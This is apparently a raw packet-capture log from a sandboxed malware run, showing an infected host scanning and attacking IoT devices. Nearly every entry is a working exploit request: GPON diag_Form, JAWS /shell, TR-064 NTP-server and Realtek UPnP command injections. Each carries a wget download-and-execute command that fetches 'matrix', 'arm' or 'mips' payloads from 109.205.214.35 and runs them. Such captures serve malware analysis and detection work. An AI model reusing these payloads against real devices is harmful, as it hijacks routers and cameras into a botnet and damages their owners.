Mar 21, 2024 05:23:02.668067932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
859	192.168.2.13	52708	42.125.203.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.668071032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
860	192.168.2.13	56074	109.244.61.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.668072939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
861	192.168.2.13	57112	42.85.179.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.668101072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
862	192.168.2.13	60984	212.40.131.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.668155909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
863	192.168.2.13	46950	5.190.128.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.668586969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
864	192.168.2.13	51316	42.19.69.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.668591022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
865	192.168.2.13	43758	212.106.239.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.668658972 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
866	192.168.2.13	60532	5.175.29.115	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.761107922 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:03.343329906 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:03.526632071 CET	1286	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Cont
Mar 21, 2024 05:23:03.526704073 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 43 36 45 42 34 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 31 65 6d 3b 0a 20 20 20 20 20 20 20 Data Ascii: background-color: #3C6EB4; font-size: 1.1em; font-weight: bold; color: #fff; margin: 0; padding: 0.5em; border-bottom: 2px solid #294
Mar 21, 2024 05:23:03.526763916 CET	1114	IN	Data Raw: 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 53 6f 6d 65 74 68 69 6e 67 20 68 61 73 20 74 72 69 67 67 65 72 65 64 20 6d 69 73 73 69 6e 67 20 77 65 62 70 61 67 65 20 6f 6e 20 79 6f 75 72 0a 20 20 20 20 20 20 20 Data Ascii: t"> <p>Something has triggered missing webpage on your website. This is the default 404 error page for <strong>nginx</strong> that is distributed with Fedora. It

Session ID	Source IP	Source Port	Destination IP	Destination Port
867	192.168.2.13	47670	194.39.114.44	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.789968967 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
868	192.168.2.13	57410	37.16.29.201	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.789979935 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
869	192.168.2.13	40394	175.202.210.46	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:03.440782070 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
870	192.168.2.13	51066	221.121.70.231	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:03.446729898 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:05.037328959 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:06.928245068 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
